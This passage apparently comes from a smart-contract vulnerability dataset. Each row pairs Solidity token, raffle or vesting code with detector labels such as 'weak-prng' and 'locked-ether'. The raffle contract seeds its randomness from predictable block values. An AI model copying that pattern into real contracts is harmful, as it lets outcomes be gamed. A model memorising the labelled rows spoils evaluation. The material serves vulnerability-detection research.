// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract RaffleContract is Ownable {
struct Raffle {
uint256 seed;
string listURI;
}
Raffle[] private raffles;
/**
* @dev Generates a random number and adds the IPFS link to the raffle data
*/
function addRaffle(string memory _listURI) external onlyOwner {
raffles.push(Raffle(_generateSeed(), _listURI));
}
/**
* @dev Returns the IPFS link for the raffle
*/
function getRaffleURI(uint256 _raffleId)
external
view
returns (string memory)
{
require(_raffleId < raffles.length, "Invalid raffle id");
return raffles[_raffleId].listURI;
}
/**
* @dev Returns a list of random numbers for the given input
* This out is deterministic, by using the seed generated when
* the raffle was created.
*/
function getRaffleResults(
uint256 _raffleId,
uint256 _totalParticipants,
uint256 _quantity,
uint256 _offset
) external view returns (uint256[] memory) {
require(_raffleId < raffles.length, "Invalid raffle id");
uint256[] memory results = new uint256[](_quantity);
for (uint256 i = _offset; i < _quantity + _offset; i++) {
results[i - _offset] = _getRandomNumber(
_totalParticipants,
raffles[_raffleId].seed,
i
);
}
return results;
}
/**
* @dev Generates a pseudo-random number.
*/
function _getRandomNumber(
uint256 _upper,
uint256 _seed,
uint256 _index
) private pure returns (uint256) {
uint256 random = uint256(keccak256(abi.encodePacked(_seed, _index)));
return random % _upper;
}
/**
* @dev Generates a pseudo-random seed for a raffle.
*/
function _generateSeed() private view returns (uint256) {
return
uint256(
keccak256(
abi.encodePacked(
raffles.length,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
msg.sender
)
)
);
}
} | These are the vulnerabilities found
1) weak-prng with High impact |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata) external;
}
contract Wetribe is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Wetribe";
symbol = "WTX";
decimals = 18;
initialSupply = 1000000000;
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function() external payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpauseunpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public
view
returns (uint256);
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue)
);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Frozenable Token
* @dev Illegal address that can be frozened.
*/
contract FrozenableToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address indexed to, bool frozen);
modifier whenNotFrozen(address _who) {
require(!frozenAccount[msg.sender] && !frozenAccount[_who]);
_;
}
function freezeAccount(address _to, bool _freeze) public onlyOwner {
require(_to != address(0));
frozenAccount[_to] = _freeze;
emit FrozenFunds(_to, _freeze);
}
}
/**
* @title HS Token
* @dev HS digital painting asset platform token.
* @author HS.org
*/
contract TLYToken is PausableToken, FrozenableToken {
string public name = "TLY";
string public symbol = "TLY";
uint256 public decimals = 18;
uint256 INITIAL_SUPPLY = 35000000 * (10**uint256(decimals));
// owner address
address private _ownerAddress; // initial, Owner address
/**
* @dev Initializes the total release
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
_ownerAddress = msg.sender;
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/**
* if ether is sent to this address, send it back.
*/
function() public payable {
revert();
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
whenNotFrozen(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotFrozen(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/* *\
* ,.-"""-., *
* / === \ *
* / ======= \ *
* __| (o) (0) |__ *
* / _| .---. |_ \ *
* | /.----/ O O \----.\ | *
* \/ | | \/ *
* | | *
* | | *
* | | *
* _\ -.,_____,.- /_ *
* ,.-" "-.,_________,.-" "-., *
* / | | ╭-╮ \ *
* | l. .l ┃ ┃ | *
* | | | ┃ ╰━━╮ | *
* l. | | ┃ ╭╮ ┃ .l *
* | l. .l ┃ ┃┃ ┃ | \, *
* l. | | ╰-╯╰-╯ .l \, *
* | | | | \, *
* l. | | .l | *
* | | | | | *
* | |---| | | *
* | | | | | *
* /"-.,__,.-"\ /"-.,__,.-"\"-.,_,.-"\ *
* | \ / | | *
* | | | | *
* \__|__|__|__/ \__|__|__|__/ \_|__|__/ *
\* */
contract ForexVesting is Ownable {
using SafeERC20 for IERC20;
/** @dev Canonical FOREX token address */
address public immutable FOREX;
/** @dev The vesting period in seconds at which the FOREX supply for each
participant is accrued as claimable each second according to their
vested value */
uint256 public immutable vestingPeriod;
/** @dev Minimum delay (in seconds) between user claims. */
uint256 public immutable minimumClaimDelay;
/** @dev Date from which participants can claim their immediate value, and
from which the vested value starts accruing as claimable */
uint256 public claimStartDate;
/** @dev Mapping of (participant address => participant vesting data) */
mapping(address => Participant) public participants;
/** @dev Total funds required by contract. Used for asserting the contract
has been correctly funded after deployment */
uint256 public immutable forexSupply;
/** @dev Vesting data for participant */
struct Participant {
/* Amount initially claimable at any time from the claimStartDate */
uint256 claimable;
/* Total vested amount released in equal amounts throughout the
vesting period. */
uint256 vestedValue;
/* Date at which the participant last claimed FOREX */
uint256 lastClaimDate;
}
event ParticipantAddressChanged(
address indexed previous,
address indexed current
);
constructor(
address _FOREX,
uint256 _vestingPeriod,
uint256 _minimumClaimDelay,
address[] memory participantAddresses,
uint256[] memory initiallyClaimable,
uint256[] memory vestedValues
) {
// Assert that the minimum claim delay is greater than zero seconds.
assert(_minimumClaimDelay > 0);
// Assert that the vesting period is a multiple of the minimum delay.
assert(_vestingPeriod % _minimumClaimDelay == 0);
// Assert all array lengths match.
uint256 length = participantAddresses.length;
assert(length == initiallyClaimable.length);
assert(length == vestedValues.length);
// Initialise immutable variables.
FOREX = _FOREX;
vestingPeriod = _vestingPeriod;
minimumClaimDelay = _minimumClaimDelay;
uint256 _forexSupply = 0;
// Initialise participants mapping.
for (uint256 i = 0; i < length; i++) {
participants[participantAddresses[i]] = Participant({
claimable: initiallyClaimable[i],
vestedValue: vestedValues[i],
lastClaimDate: 0
});
_forexSupply += initiallyClaimable[i] + vestedValues[i];
}
forexSupply = _forexSupply;
}
/**
* @dev Transfers claimable FOREX to participant.
*/
function claim() external {
require(isClaimable(), "Funds not yet claimable");
Participant storage participant = participants[msg.sender];
require(
block.timestamp >= participant.lastClaimDate + minimumClaimDelay,
"Must wait before next claim"
);
uint256 cutoffTime = getLastCutoffTime(msg.sender);
uint256 claimable = _balanceOf(msg.sender, cutoffTime);
if (claimable == 0) return;
// Reset vesting period for accruing new FOREX.
// This starts at the claim date and then is incremented in
// a value multiple of minimumClaimDelay.
participant.lastClaimDate = cutoffTime;
// Clear initial claimable amount if claiming for the first time.
if (participant.claimable > 0) participant.claimable = 0;
// Transfer tokens.
IERC20(FOREX).safeTransfer(msg.sender, claimable);
}
/**
* @dev Returns the last valid claim date for a participant.
* The difference between this value and the participant's
* last claim date is the actual claimable amount that
* can be transferred so that the minimum delay also enforces
* a minimum FOREX claim granularity.
* @param account The participant account to fetch the cutoff time for.
*/
function getLastCutoffTime(address account) public view returns (uint256) {
Participant storage participant = participants[account];
uint256 lastClaimDate = getParticipantLastClaimDate(participant);
uint256 elapsed = block.timestamp - lastClaimDate;
uint256 remainder = elapsed % minimumClaimDelay;
if (elapsed > remainder) {
// At least one cutoff time has passed.
return lastClaimDate + elapsed - remainder;
} else {
// Next cutoff time not yet reached.
return lastClaimDate;
}
}
/**
* @dev Returns the parsed last claim date for a participant.
* Instead of returning the default date of zero, it returns
* the claim start date.
* @param participant The storage pointer to a participant.
*/
function getParticipantLastClaimDate(Participant storage participant)
private
view
returns (uint256)
{
return
participant.lastClaimDate > claimStartDate
? participant.lastClaimDate
: claimStartDate;
}
/**
* @dev Returns the accrued FOREX balance for an participant.
* This amount may not be fully claimable yet.
* @param account The participant to fetch the balance for.
*/
function balanceOf(address account) public view returns (uint256) {
return _balanceOf(account, block.timestamp);
}
/**
* @dev Returns the claimable FOREX balance for an participant.
* @param account The participant to fetch the balance for.
* @param cutoffTime The time to fetch the balance from.
*/
function _balanceOf(address account, uint256 cutoffTime)
public
view
returns (uint256)
{
if (!isClaimable()) return 0;
Participant storage participant = participants[account];
uint256 lastClaimed = getParticipantLastClaimDate(participant);
uint256 vestingCompleteDate = claimStartDate + vestingPeriod;
// Prevent elapsed from passing the vestingPeriod value.
uint256 elapsed = cutoffTime > vestingCompleteDate
? vestingCompleteDate - lastClaimed
: cutoffTime - lastClaimed;
uint256 accrued = (participant.vestedValue * elapsed) / vestingPeriod;
return participant.claimable + accrued;
}
/**
* @dev Withdraws FOREX for the contract owner.
* @param amount The amount of FOREX to withdraw.
*/
function withdrawForex(uint256 amount) external onlyOwner {
IERC20(FOREX).safeTransfer(msg.sender, amount);
}
/**
* @dev Changes the address for a participant. The new address
* will be eligible to claim the currently claimable funds
* from the previous address, plus all the accrued funds
* until the end of the vesting period.
* @param previous The previous participant address to be changed.
* @param current The current participant address to be eligible for claims.
*/
function changeParticipantAddress(address previous, address current)
external
onlyOwner
{
require(current != address(0), "Current address cannot be zero");
require(previous != current, "Addresses are the same");
Participant storage previousParticipant = participants[previous];
require(
doesParticipantExist(previousParticipant),
"Previous participant does not exist"
);
Participant storage currentParticipant = participants[current];
require(
!doesParticipantExist(currentParticipant),
"Next participant already exists"
);
currentParticipant.claimable = previousParticipant.claimable;
currentParticipant.vestedValue = previousParticipant.vestedValue;
currentParticipant.lastClaimDate = previousParticipant.lastClaimDate;
delete participants[previous];
emit ParticipantAddressChanged(previous, current);
}
/**
* @dev Returns whether the participant exists.
* @param participant Pointer to the participant object.
*/
function doesParticipantExist(Participant storage participant)
private
view
returns (bool)
{
return participant.claimable > 0 || participant.vestedValue > 0;
}
/**
* @dev Enables FOREX claiming from the next block.
* Can only be called once.
*/
function enableForexClaims() public onlyOwner {
assert(claimStartDate == 0);
claimStartDate = block.timestamp + 1;
}
/**
* Returns whether the contract is currently claimable.
*/
function isClaimable() private view returns (bool) {
return claimStartDate != 0 && block.timestamp >= claimStartDate;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
